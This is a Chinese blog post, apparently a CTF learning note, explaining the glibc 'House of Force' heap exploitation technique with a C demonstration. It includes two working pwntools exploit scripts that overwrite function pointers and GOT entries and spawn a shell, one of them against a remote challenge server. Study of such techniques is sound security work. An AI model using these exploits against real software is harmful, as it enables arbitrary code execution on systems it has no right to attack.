• House Of Force


    House Of Force

    简介

    house of force 是一种针对 top chunk 的利用手法,它是通过修改 top_chunk 的 size 域从而完成一次几乎是任意地址的内存分配

    漏洞成因

    堆溢出写 top_chunk

    适用范围

    • 2.23——2.29

    • 可分配任意大小的 chunk

    • 需要泄露或已知堆地址

    • 可以修改 top_chunk 的 size 域

    效果

    劫持 top_chunk 到任意地址

    利用原理

    top_chunk 的利用,过程如下:

    • 申请 chunk A

    • A 的时候溢出,修改 top_chunksize 为很大的数

    • 分配很大的 chunk 到任意已知地址

    相关技巧

    注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

    原理说明

    当程序需要分配一块 chunk,而 tcache 和各个 bin 中都没有对应大小的堆块的话就会从 top_chunk 中分割一个对应大小的 chunk 出来,我们先看下分割 top_chunk 的相关代码:

    // 获取当前的top chunk,并计算其对应的大小
    // nb 为我们想要分配的 chunk 大小 
    victim = av->top; //获取top_chunk地址
    size   = chunksize(victim); //获取top_chunk大小
    // 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
    if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
    {
        remainder_size = size - nb; //分配后的大小
        remainder      = chunk_at_offset(victim, nb); //分配后top_chunk的地址
        av->top        = remainder;
        //下面的两个set是跟完成分配后的top_chunk和分割出去的chunk设置chunk_header
        set_head(victim, nb | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);
    ​
        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
    }

    从上面代码中可以提取出分割 top_chunk 的关键步骤:

    • 比较 top_chunk.size >= nb + MINSIZE,即 top_chunk 能否有足够的空间去分割一个 nb 大小的 chunk

    • 设置 top_chunk 分割后的大小和 位置

    上面这两步是存在漏洞的:

    if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))

    首先这里比较是用无符号长整型进行比较的,并且在分割时只有这一个检查;

    remainder_size = size - nb; //分配后的大小
    remainder      = chunk_at_offset(victim, nb); //分配后top_chunk的地址
    av->top        = remainder;

    但是在分割后设置 top_chunk 的大小和位置时,是采用的有符号数;

    那么问题就来了>_<

    在分割后av->top = av->top + nb,如果可以控制我们想要分配 chunk 的大小 nb,那么我们就可以控制 av->top了也就是可以控制 top_chunk 的位置,但是这里有两个问题:

    • 一般而言我们想要控制的位置如 malloc_hook、got 等等都距离 top_chunk 很远,那么这时就需要 nb 很大,那么这时候很可以超过 top_chunk 的大小从而不满足 if 条件

    • 有时候我们想利用的位置在低于 top_chunk 的位置,那么这时候就需要 nb 为负数,而在 if 判断里,负数会转换为无符号数,那么就是一个大数,从而也可能导致不满足 if 条件

    那怎么办呢?可别忘了,在 if 条件中,top_chunk 的 size 也会被转换成无符号数,那么如果我们可以把 top_chunk 的 size 给修改成 -1,那么就可以绕过了。—— -1 的补码二进制全为1,转换为无符号数就是最大的

    利用方式

    通过对原理的分析,利用方式就很清晰了:

    • 存在漏洞可以修改 top_chunk 的 size 域为 -1

    • 计算我们想要控制的位置+0x10到 top_chunk 的偏移即 nb:计算方式 下面的 new_top、old_top 指的块地址

    The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
        * new_top = old_top + nb
        * nb = new_top - old_top
        * req + 2sizeof(long) = new_top - old_top
        * req = new_top - old_top - 2sizeof(long)
        * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
        * req = dest - old_top - 4*sizeof(long)

    从计算方式可以知道,我们还需要知道 old_top 的地址,所以可能需要泄漏堆地址

    • 申请 nb 大小的 chunk 触发 hof

    这里还有一些注意点:

    1、这里得到的top_chunk需要移动的距离由于要通过request2size,就需要满足对齐参数MALLOC_ALIGN 实际上,对齐参数(MALLOC_ALIGNMENT)大小的设定需要满足以下两点:

    • 必须是2的幂

    • 必须是void *的整数倍

    2、new_top 的 size 会被修改,这里如果修改了一些不能随意修改的值就会报错

    glibc-2.23 eg:

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    ​
    char bss_var[] = "This is a string that we want to overwrite.";
    ​
    int main(int argc , char* argv[])
    {
            intptr_t *p1 = malloc(256);
    ​
            intptr_t *old_top = &p1[32];
            *(intptr_t *)((char *)old_top + sizeof(long)) = -1;
            unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)old_top;
            void *new_ptr = malloc(evil_size);
    ​
            void* ctr_chunk = malloc(100);
            fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    ​
            fprintf(stderr, "... old string: %s\n", bss_var);
            strcpy(ctr_chunk, "YEAH!!!");
            fprintf(stderr, "... new string: %s\n", bss_var);
    ​
            assert(ctr_chunk == bss_var);
    }

    先创建大小为 0x110 的 chunk_p1,然后修改 top_chunk 的 size 域为 -1

    然后再申请一块 nb 大小的 chunk 去触发 hof

    我们再去申请一块 ctr_chunk,那么就会从 0x601050 这里开始分配,那么我们就可以控制 bss_var 变量了。

    例题

    hitcontraning_lab11 —— bamboobox

    这题之前 unlink 篇章讲过,unlink 可以直接拿 shell;但是这个题目存在后面函数,且在程序一开始会创建一个 0x20 大小的 chunk 去存储两个函数指针

     v4 = malloc(0x10uLL);
     *v4 = hello_message;
     v4[1] = goodbye_message;

    在程序开始时调用 v4(),程序退出时调用 v4[1]()

    (*v4)();
    ​
    case 5:
      v4[1]();
      exit(0);

    这题程序存在堆溢出,且只限制了申请 chunk 的大小不为0;所以这里直接 hof 去控制上面 v4指针指向的这个chunk,然后把v4[1] 给修改为后门函数,然后退出程序就会执行后门函数了

    exp:这个方法耽误了我好长时间,不知道为啥如果我一开始申请的是 0x20 的大小 chunk 的话在malloc(-80)程序就会异常退出,但是没报啥错,我这里 gdb 跟着脚本调试也有些问题好像>_<,然后我后面改成 0x30 就通了,我真的醉了,也不知道啥原理,太菜了还是

    from pwn import *
    ​
    if args['DEBUG']:
            context.log_level = 'debug'
    ​
    io = process("./bamboobox")
    elf = ELF("./bamboobox")
    libc = elf.libc
    ​
    ​
    def debug():
            gdb.attach(io)
            pause()
    ​
    def cmd(index):
            io.sendlineafter(b'Your choice:', str(index).encode())
    ​
    def add(size, name):
            cmd(2)
            io.sendlineafter(b'length of item name:', str(size).encode())
            io.sendafter(b'name of item:', name)
    ​
    def show():
            cmd(1)
    ​
    def change(index, size, name):
            cmd(3)
            io.sendlineafter(b'index of item:', str(index).encode())
            io.sendlineafter(b'length of item name:', str(size).encode())
            io.sendafter(b'name of the item:', name)
    ​
    def delete(index):
            cmd(4)
            io.sendlineafter(b'index of item:', str(index).encode())
    ​
    def exp():
    ​
            magic = 0x400D49
            """
            add(0x10, b'A')
            payload = b'A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
            change(0, len(payload), payload)
            add(-80, b'A') ==> 异常退出,但不知道啥错误
            """
            add(0x20, b'A')
            payload = b'A'*0x20 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
            change(0, len(payload), payload)
            #debug()
            add(-96, b'A')
            #debug()
            add(0x10, p64(magic)*2)
            #debug()
    ​
            io.sendline(b'5')
            io.interactive()
    ​
    if __name__ == "__main__":
            exp()

    2016_bctf_bcloud

    贴个exp:

    from pwn import *
    context(arch = 'i386', os = 'linux')
    #context.log_level = 'debug'
    ​
    local = False
    if local:
            io = process("./pwn")
            libc = elf.libc
    else:
            io = remote('node4.buuoj.cn', 25228)
            libc = ELF("/home/isidro/pwnh/buuctf/libc/u16-x32.so")
    elf = ELF("./pwn")
    ​
    def debug():
            gdb.attach(io)
            pause()
    ​
    sd   = lambda s    : io.send(s)
    sda  = lambda s, n : io.sendafter(s, n)
    sl   = lambda s    : io.sendline(s)
    sla  = lambda s, n : io.sendlineafter(s, n)
    rc   = lambda n    : io.recv(n)
    rut  = lambda s    : io.recvuntil(s, drop=True)
    ruf  = lambda s    : io.recvuntil(s, drop=False)
    addr = lambda s    : u32(io.recvuntil(s, drop=True).ljust(4, b'\x00'))
    byte = lambda n    : str(n).encode()
    sh   = lambda      : io.interactive()
    ​
    menu = b'option--->>\n'
    def add(size, content):
            sla(menu, b'1')
            sla(b'note content:\n', byte(size))
            sda(b'content:\n', content)
    ​
    def dele(idx):
            sla(menu, b'4')
            sla(b'the id:\n', byte(idx))
    ​
    def edit(idx, content):
            sla(menu, b'3')
            sla(b'the id:\n', byte(idx))
            sda(b'content:\n', content)
    ​
    ​
    payload = b'A'*61 + b'XYZ'
    sda(b'name:\n', payload)
    rut(b'XYZ')
    heap_base = addr(b'!') - 0x8
    print("heap_base : ", hex(heap_base))
    sda(b'Org:\n', b'A'*0x40)
    sla(b'Host:\n', p32(0xFFFFFFFF))
    ​
    ​
    add(0x10, b'A\n')
    add(0x10, b'A\n')
    add(0x10, b'A\n')
    old_top = heap_base + 0x120
    chunk_ptr_arr = 0x0804B120
    offset = chunk_ptr_arr - old_top - 0x10
    print("old_top : ", hex(old_top))
    print("offset  : ", hex(offset))
    add(offset, b'A\n')
    free_got = elf.got['free']
    atoi_got = elf.got['atoi']
    printf_got = elf.got['printf']
    payload = p32(free_got) + p32(printf_got) + p32(atoi_got) + b'\n'
    add(0x28, payload)
    ​
    echo = 0x08048779
    edit(0, p32(echo)+b'\n')
    dele(1)
    rut(b'Hey ')
    libc.address = u32(rc(4)) - libc.symbols['printf']
    print("libc_base : ", hex(libc.address))
    #debug()
    system = libc.symbols['system']
    edit(2, p32(system)+b'\n')
    ​
    sla(menu, b'/bin/sh\x00')
    #debug()
    sh()

    参考

    Top chunk劫持:House of force攻击-安全客 - 安全资讯平台

    Glibc堆利用之house of系列总结 - roderick - record and learn!

  • 相关阅读:
    DataFrame在指定位置插入行和列
    从永远到永远-Map传值的坑map.values()
    python基础知识总结
    【Spring篇 | 补充】三级缓存解决循环依赖
    MongoDB聚合运算符:$denseRank
    Codeforces Round #804 (Div. 2)
    Java基础10——日期和时间
    基于ssm的线上旅行信息管理系统(有报告)。Javaee项目,ssm项目。
    聊聊电商系统架构演进
    自动化测试岗花20K招人,到最后居然没一个合适的,招两个应届生都比他们强吧
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134517536